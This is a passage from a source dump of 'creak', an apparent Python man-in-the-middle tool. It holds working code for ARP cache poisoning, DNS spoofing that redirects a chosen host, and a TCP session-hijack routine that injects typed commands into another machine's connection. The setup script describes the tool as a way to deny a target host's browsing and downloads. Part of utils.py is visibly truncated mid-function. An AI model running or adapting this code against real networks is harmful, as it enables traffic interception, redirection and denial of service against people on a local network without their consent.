udp.dport, udp.sport 313 | ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src 314 | udp.data, udp.ulen = dns, len(udp) 315 | ip_packet.len = len(ip_packet) 316 | 317 | print(inet_ntoa(ip_packet.src)) 318 | 319 | buf = dnet.ip_checksum(str(ip_packet)) 320 | sock.send(buf) 321 | 322 | except KeyboardInterrupt: 323 | print('[+] DNS spoofing interrupted\n\r') 324 | self.restore(2) 325 | utils.set_ip_forward(0) 326 | 327 | def hijack_session(self, target_b=None): 328 | """ 329 | !! Still bugged, doesn't work properly !! 330 | Try to hijack a TCP sessions between two local address 331 | """ 332 | if not target_b: 333 | target_b = self.gateway 334 | print('[+] Sessions between {}{}{} and {}{}{} will be listed soon,\n' 335 | ' just type the number of session to hijack and ENTER\n'.format(G, self.target, 336 | W, G, target_b, W)) 337 | stop_thread = False 338 | list_conn_thread = Thread(target=self.list_sessions, args=(lambda: stop_thread, target_b, )) 339 | list_conn_thread.start() 340 | choice = None 341 | sock = socket(PF_PACKET, SOCK_RAW) 342 | sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) 343 | while True: 344 | choice = raw_input() 345 | choice = int(choice) - 1 346 | if choice <= len(self.sessions) and choice > -1: 347 | break 348 | # must stop thread 349 | stop_thread = True 350 | list_conn_thread.join() 351 | src_ip, src_port, dst_ip, dst_port = re.search(r'^([0-9.]+):(\d+)\s+<->\s+([0-9.]+):(\d+)$', 352 | self.sessions[choice]).groups() 353 | str_src_ip, str_src_port, str_dst_ip, str_dst_port = src_ip, src_port, dst_ip, dst_port 354 | print('\n[*] Trying an hijack for: {}:{} --> {}:{}'.format(src_ip, 355 | src_port, dst_ip, dst_port)) 356 | print('\n[*] Waiting for another packet in order to get a seq and a ack number') 357 | pcap_filter = 'src host %s and src port %s and dst host %s and dst port %s and tcp' % (src_ip, src_port, dst_ip, dst_port) 358 | packets = pcap.pcap(self.dev) 359 | packets.setfilter(pcap_filter) 360 | eth = None 361 | for _, pkt in packets: 362 | eth = dpkt.ethernet.Ethernet(pkt) 363 | ip_packet = eth.data 364 | tcp = ip_packet.data 365 | if ip_packet.src == dst_ip: 366 | src_port, dst_port = tcp.dport, tcp.sport 367 | else: 368 | src_port, dst_port = tcp.sport, tcp.dport 369 | seq, ack, data = tcp.seq, tcp.ack, tcp.data 370 | print('[*] Packet captured => SEQ: {}, ACK: {}'.format(seq, ack)) 371 | seq += len(data) 372 | print('[*] Sending 1024 bytes nop payload to trying a desynchronization.\n') 373 | tcp_layer = dpkt.tcp.TCP( 374 | sport=src_port, 375 | dport=dst_port, 376 | seq=seq, 377 | ack=ack, 378 | data='\x00' * 1024) 379 | # build ip layer 380 | ip_layer = dpkt.ip.IP( 381 | src=src_ip, 382 | dst=dst_ip, 383 | data=tcp_layer) 384 | # build ethernet layer 385 | eth_layer = dpkt.ethernet.Ethernet( 386 | dst=eth.dst, 387 | src=eth.src, 388 | type=eth.type, 389 | data=ip_layer) 390 | 391 | sock.send(str(eth_layer)) 392 | seq += 1024 393 | print('[*] Desynchronization complete.') 394 | break 395 | 396 | def response_to(ack): 397 | """Daemon function used to intercept responses from the hijacked session""" 398 | pcap_filter = 'src host %s and src port %s and dst host %s and dst port %s and tcp' % (str_dst_ip, str_dst_port, str_src_ip, str_src_port) 399 | sock = socket(PF_PACKET, SOCK_RAW) 400 | sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) 401 | packets = pcap.pcap(self.dev) 402 | packets.setfilter(pcap_filter) 403 | eth = None 404 | for _, pkt in packets: 405 | eth = dpkt.ethernet.Ethernet(pkt) 406 | ip_packet = eth.data 407 | tcp = ip_packet.data 408 | if tcp.seq == ack: 409 | seq = tcp.ack 410 | if len(tcp.data) > 0: 411 | ack += len(tcp.data) 412 | tcp_layer = dpkt.tcp.TCP( 413 | sport=src_port, 414 | dport=dst_port, 415 | seq=seq, 416 | ack=ack) 417 | # build ip layer 418 | ip_layer = dpkt.ip.IP( 419 | src=src_ip, 420 | dst=dst_ip, 421 | data=tcp_layer) 422 | # build ethernet layer 423 | eth_layer = dpkt.ethernet.Ethernet( 424 | dst=eth.dst, 425 | src=eth.src, 426 | type=eth.type, 427 | data=ip_layer) 428 | 429 | sock.send(str(eth_layer)) 430 | sys.stdout.write(tcp.data) 431 | 432 | # start a thread to handle responses to the hijacked session 433 | tcpdaemon_thread = Thread(target=response_to, args=(ack,)) 434 | tcpdaemon_thread.daemon = True 435 | tcpdaemon_thread.start() 436 | os.system('/sbin/iptables -A FORWARD -s %s -p tcp --sport %s -j DROP' % (str_src_ip, str_src_port)) 437 | os.system('/sbin/iptables -A FORWARD -d %s -p tcp --dport %s -j DROP' % (str_src_ip, str_src_port)) 438 | print('[*] Session hijacked, everything entered now should be sent through it.') 439 | 440 | # start a command loop to send instruction to the hijacked session 441 | try: 442 | while True: 443 | data = raw_input('> ') 444 | tcp_layer = dpkt.tcp.TCP( 445 | sport=src_port, 446 | dport=dst_port, 447 | seq=seq, 448 | ack=1, 449 | data=data) 450 | # build ip layer 451 | ip_layer = dpkt.ip.IP( 452 | src=src_ip, 453 | dst=dst_ip, 454 | data=tcp_layer) 455 | # build ethernet layer 456 | eth_layer = dpkt.ethernet.Ethernet( 457 | dst=eth.dst, 458 | src=eth.src, 459 | type=eth.type, 460 | data=ip_layer) 461 | 462 | sock.send(str(eth_layer)) 463 | seq += len(data) 464 | except KeyboardInterrupt: 465 | print('[+] Session hijacking interrupted\n\r') 466 | self.restore(2) 467 | utils.set_ip_forward(0) 468 | 469 | def poison(self, delay, target_b=None): 470 | """ 471 | Poison arp cache of target and router, causing all traffic between them to 472 | pass inside our machine, MITM heart 473 | """ 474 | raise NotImplementedError("not implemented") 475 | 476 | def restore(self, delay, target_b=None): 477 | """ reset arp cache of the target and the router (AP) """ 478 | raise NotImplementedError("not implemented") 479 | 480 | class PcapMitm(Mitm): 481 | """ 482 | Man In The Middle subclass using raw sockets to poison the targets 483 | """ 484 | def __init__(self, device, source_mac, gateway, target, debug, verbose): 485 | super(PcapMitm, self).__init__(device, source_mac, gateway, target, 486 | debug, verbose) 487 | 488 | def poison(self, delay, target_b=None): 489 | """ 490 | poison arp cache of target and router, causing all traffic between them to 491 | pass inside our machine, MITM heart 492 | """ 493 | if not target_b: 494 | target_b = self.gateway 495 | utils.set_ip_forward(1) 496 | sock = socket(PF_PACKET, SOCK_RAW) 497 | sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) 498 | try: 499 | while True: 500 | if self.debug: 501 | log.info('[+] %s <-- %s -- %s -- %s --> %s', 502 | target_b, self.target, self.dev, target_b, self.target) 503 | for addr in self.target: 504 | sock.send(str(utils.build_arp_packet(self.src_mac, target_b, addr))) 505 | sock.send(str(utils.build_arp_packet(self.src_mac, addr, target_b))) 506 | time.sleep(delay) # OS refresh ARP cache really often 507 | 508 | except KeyboardInterrupt: 509 | print('\n\r[+] Poisoning interrupted') 510 | sock.close() 511 | 512 | def restore(self, delay, target_b=None): 513 | """ reset arp cache of the target and the router (AP) """ 514 | if not target_b: 515 | target_b = self.gateway 516 | source_mac = utils.get_mac_by_ip(target_b) 517 | sock = socket(PF_PACKET, SOCK_RAW) 518 | sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) 519 | for addr in self.target: 520 | target_mac = utils.get_mac_by_ip(addr) 521 | for _ in xrange(6): 522 | sock.send(str(utils.build_arp_packet(target_mac, target_b, addr))) 523 | sock.send(str(utils.build_arp_packet(source_mac, addr, target_b))) 524 | 525 | class ScapyMitm(Mitm): 526 | """ 527 | Man In The Middle subclass using scapy to poison the target, needs tcpdump to be 528 | installed 529 | """ 530 | def __init__(self, device, source_mac, gateway, target, debug, verbose): 531 | super(ScapyMitm, self).__init__(device, source_mac, gateway, target, 532 | debug, verbose) 533 | 534 | def poison(self, delay, target_b=None): 535 | if not target_b: 536 | target_b = self.gateway 537 | src_mac = ':'.join(a+b for a, b in zip(self.src_mac[::2], self.src_mac[1::2])) 538 | for addr in self.target: 539 | dst_mac = utils.get_mac_by_ip(addr) 540 | send(ARP(op=2, pdst=addr, psrc=target_b, hwdst=dst_mac), verbose=False) 541 | send(ARP(op=2, pdst=target_b, psrc=addr, hwdst=src_mac), verbose=False) 542 | 543 | def restore(self, delay, target_b=None): 544 | if not target_b: 545 | target_b = self.gateway 546 | src_mac = ':'.join(a+b for a, b in zip(self.src_mac[::2], self.src_mac[1::2])) 547 | for addr in self.target: 548 | dst_mac = utils.get_mac_by_ip(addr) 549 | send(ARP(op=2, pdst=target_b, psrc=addr, 550 | hwdst="ff:" * 5 + "ff", hwsrc=dst_mac), count=3, verbose=False) 551 | send(ARP(op=2, pdst=addr, psrc=target_b, 552 | hwdst="ff:" * 5 + "ff", hwsrc=src_mac), count=3, verbose=False) 553 | 554 | def dns_spoof(self, host=None, redirection=None): 555 | """ 556 | Redirect all incoming request for 'host' to 'redirection' 557 | """ 558 | pcap_filter = self._build_pcap_filter('udp dst port 53 and src') 559 | redirection = gethostbyname(redirection) 560 | 561 | print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + self.gateway + W 562 | + ' and ' + R + ','.join(self.target) + W +'\n') 563 | # need to create a daemon that continually poison our target 564 | poison_thread = Thread(target=self.poison, args=(2, )) 565 | poison_thread.daemon = True 566 | poison_thread.start() 567 | 568 | packets = pcap.pcap(self.dev) 569 | packets.setfilter(pcap_filter) 570 | 571 | sock = socket(PF_PACKET, SOCK_RAW) 572 | sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) 573 | 574 | print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection + W + ' for ' + R 575 | + ','.join(self.target) + W) 576 | 577 | try: 578 | for _, pkt in packets: 579 | eth = dpkt.ethernet.Ethernet(pkt) 580 | ip_packet = eth.data 581 | udp = ip_packet.data 582 | dns = dpkt.dns.DNS(udp.data) 583 | # validate query 584 | if dns.qr != dpkt.dns.DNS_Q: 585 | continue 586 | if dns.opcode != dpkt.dns.DNS_QUERY: 587 | continue 588 | if len(dns.qd) != 1: 589 | continue 590 | if len(dns.an) != 0: 591 | continue 592 | if len(dns.ns) != 0: 593 | continue 594 | if dns.qd[0].cls != dpkt.dns.DNS_IN: 595 | continue 596 | if dns.qd[0].type != dpkt.dns.DNS_A: 597 | continue 598 | # spoof for our target name 599 | if dns.qd[0].name != host: 600 | continue 601 | # send spoofed answer 602 | send(IP(src=inet_ntoa(ip_packet.dst), dst=inet_ntoa(ip_packet.src))/ 603 | UDP(sport=udp.dport, dport=udp.sport)/ 604 | DNS(opcode=dpkt.dns.DNS_RA, rcode=dpkt.dns.DNS_RCODE_NOERR, 605 | qr=dpkt.dns.DNS_R, an=DNSRR(rrname=host, type=dpkt.dns.DNS_A, 606 | rclass=dpkt.dns.DNS_IN, 607 | rdata=redirection))) 608 | # dns query->response 609 | # dns.op = dpkt.dns.DNS_RA 610 | # dns.rcode = dpkt.dns.DNS_RCODE_NOERR 611 | # dns.qr = dpkt.dns.DNS_R 612 | # 613 | # # construct fake answer 614 | # arr = dpkt.dns.DNS.RR() 615 | # arr.cls, arr.type, arr.name = dpkt.dns.DNS_IN, dpkt.dns.DNS_A, host 616 | # # arr.ip = dnet.addr(redirection).ip 617 | # arr.ip = socket.inet_aton(redirection) 618 | # 619 | # dns.an.append(arr) 620 | # 621 | # udp.sport, udp.dport = udp.dport, udp.sport 622 | # ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src 623 | # udp.data, udp.ulen = dns, len(udp) 624 | # ip_packet.len = len(ip_packet) 625 | # 626 | # 627 | # sock.send(str(ip_packet)) 628 | 629 | print(inet_ntoa(ip_packet.dst)) 630 | 631 | except KeyboardInterrupt: 632 | print('[+] DNS spoofing interrupted\n\r') 633 | self.restore(2) 634 | utils.set_ip_forward(0) 635 | 636 | -------------------------------------------------------------------------------- /creak/utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Copyright (c) 2014-2017 Andrea Baldan 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License as 6 | # published by the Free Software Foundation; either version 3 of the 7 | # License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 17 | # USA 18 | 19 | """ Utility functions module """ 20 | 21 | import os 22 | import re 23 | import sys 24 | import uuid 25 | import time 26 | import binascii 27 | import random 28 | import subprocess 29 | import struct 30 | import fcntl 31 | 32 | try: 33 | xrange 34 | except NameError: 35 | xrange = range 36 | 37 | IS_PY2 = sys.version_info < (3, 0) 38 | 39 | if IS_PY2: 40 | import urllib2 41 | else: 42 | import urllib.request 43 | 44 | try: 45 | import dpkt 46 | except ImportError: 47 | print("[!] Missing module dpkt") 48 | 49 | try: 50 | import ConfigParser 51 | except ImportError: 52 | print("[!] Missing module ConfigParser") 53 | 54 | from socket import socket, inet_aton, inet_ntoa, AF_INET, SOCK_DGRAM 55 | from scapy.all import ARP, Ether, srp 56 | # from configparser import ConfigParser 57 | 58 | CONF = ConfigParser.ConfigParser() 59 | CONF.read(r'creak/config') 60 | 61 | # console colors 62 | W = '\033[0m' # white (normal) 63 | R = '\033[31m' # red 64 | G = '\033[32m' # green 65 | 66 | def print_counter(counter): 67 | """ print counter in place """ 68 | sys.stdout.write("[+] Packets [ %d ]\r" % counter) 69 | sys.stdout.flush() 70 | 71 | def print_in_line(string): 72 | """ print without carriage return """ 73 | sys.stdout.write(string) 74 | sys.stdout.flush() 75 | 76 | def string_to_binary(string): 77 | """ convert string to binary format """ 78 | return binascii.unhexlify(string) 79 | 80 | def binary_to_string(binary): 81 | """ convert binary to string """ 82 | return binascii.hexlify(binary) 83 | 84 | def set_ip_forward(fwd): 85 | """ set ip_forward to fwd (0 or 1) """ 86 | CONF.read(r'./config') 87 | if fwd != 1 and fwd != 0: 88 | raise ValueError('[.] Value not valid for ip_forward, must be either 0 or 1') 89 | else: 90 | with open(CONF.get('services', 'IP_FORWARD'), 'w') as ip_f: 91 | ip_f.write(str(fwd) + '\n') 92 | 93 | def get_default_gateway_linux(): 94 | """Read the default gateway directly from /proc.""" 95 | with open("/proc/net/route") as f_h: 96 | for line in f_h: 97 | fields = line.strip().split() 98 | if fields[1] != '00000000' or not int(fields[3], 16) & 2: 99 | continue 100 | 101 | return inet_ntoa(struct.pack(" 15 else 'x', '')]) 193 | 194 | return mac_addr 195 | 196 | def eth_aton(buf): 197 | """ convert a MAC address from string to binary packed bytes format """ 198 | addr = '' 199 | for i in xrange(0, len(buf), 2): 200 | addr = ''.join([addr, struct.pack('B', int(buf[i: i + 2], 16))],) 201 | return addr 202 | 203 | def build_arp_packet(source_mac, src, dst): 204 | """ forge arp packets used to poison and reset target connection """ 205 | arp = dpkt.arp.ARP() 206 | packet = dpkt.ethernet.Ethernet() 207 | arp.sha = string_to_binary(source_mac) 208 | arp.spa = inet_aton(dst) 209 | arp.tha = '\x00' * 6 210 | arp.tpa = inet_aton(src) 211 | arp.op = dpkt.arp.ARP_OP_REPLY 212 | packet.src = string_to_binary(source_mac) 213 | packet.dst = '\xff' * 6 # broadcast address 214 | packet.data = arp 215 | packet.type = dpkt.ethernet.ETH_TYPE_ARP 216 | return packet 217 | 218 | def get_manufacturer(manufacturer): 219 | """ 220 | get a list of MAC octets based on manufacturer fetching data from 221 | http://anonsvn.wireshark.org/wireshark/trunk/manuf 222 | """ 223 | output, m_list = [], None 224 | url_lib = urllib2 if IS_PY2 else urllib.request 225 | 226 | if not os.path.exists("./manufacturers"): 227 | os.makedirs("./manufacturers") 228 | 229 | if not os.path.isfile("./manufacturers/list.txt"): 230 | print("[+] No local cache data found for " + G + manufacturer + W 231 | + " found, fetching from web..") 232 | urls = url_lib.urlopen(CONF.get('services', 'MANUFACTURER_URL')) 233 | macs = _manufacturers(manufacturer, urls) 234 | else: 235 | print("[+] Fetching data from local cache..") 236 | conf = ConfigParser.ConfigParser() 237 | conf.read("./manufacturers/list.txt") 238 | 239 | macs = conf.get(manufacturer.lower(), 'MAC').split(',') 240 | if len(macs) > 0: 241 | print("[+] Found mac octets from local cache for " + G + manufacturer + W 242 | + " device") 243 | return macs 244 | else: 245 | urls = url_lib.urlopen(CONF.get('services', 'MANUFACTURER_URL')) 246 | macs = _manufacturers(manufacturer, urls) 247 | 248 | with open("./manufacturers/list.txt", "wa+") as m_list: 249 | m_list.write("[" + manufacturer.lower() + "]\nMAC = ") 250 | m_list.write(",".join(macs)) 251 | m_list.write("\n") 252 | 253 | return macs 254 | 255 | def _manufacturers(manufacturer, urls): 256 | [_get_mac(manufacturer, line) for line in urls] 257 | 258 | def _get_mac(manufacturer, line): 259 | addr = line.split() 260 | if len(addr) < 1: 261 | continue 262 | mac, man = addr 263 | if re.search(manufacturer.lower(), man.lower()) and 1 < len(mac) < 17: 264 | # python2.x ignore byte string b'' 265 | return (mac if IS_PY2 else mac.decode('utf-8')) 266 | 267 | def is_ipv4(ipstring): 268 | """ check if the given string is an ipv4""" 269 | match = re.match(r"^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$", ipstring) 270 | return bool(match) and all(map(lambda n: 0 <= int(n) <= 255, match.groups())) 271 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pypcap 2 | dpkt 3 | scapy 4 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Copyright (c) 2014-2016 Andrea Baldan 5 | # 6 | # This program is free software; you can redistribute it and/or 7 | # modify it under the terms of the GNU General Public License as 8 | # published by the Free Software Foundation; either version 3 of the 9 | # License, or (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, but 12 | # WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | # General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program; if not, write to the Free Software 18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 19 | # USA 20 | 21 | """ 22 | Deny navigation and download capabilities of a target host in the local network 23 | """ 24 | from distutils.core import setup 25 | 26 | if __name__ == '__main__': 27 | setup( 28 | name='creak', 29 | version='1.0.3', 30 | description=__doc__, 31 | long_description=__doc__, 32 | author='Andrea Giacomo Baldan', 33 | author_email='a.g.baldan@gmail.com', 34 | url='https://github.com/codepr', 35 | include_package_data=True, 36 | install_requires=[ 37 | 'pypcap', 38 | 'dpkt', 39 | 'dnet', 40 | 'scapy' 41 | ], 42 | scripts=[ 43 | 'creak.py', 44 | ], 45 | license='GPL' 46 | ) 47 | --------------------------------------------------------------------------------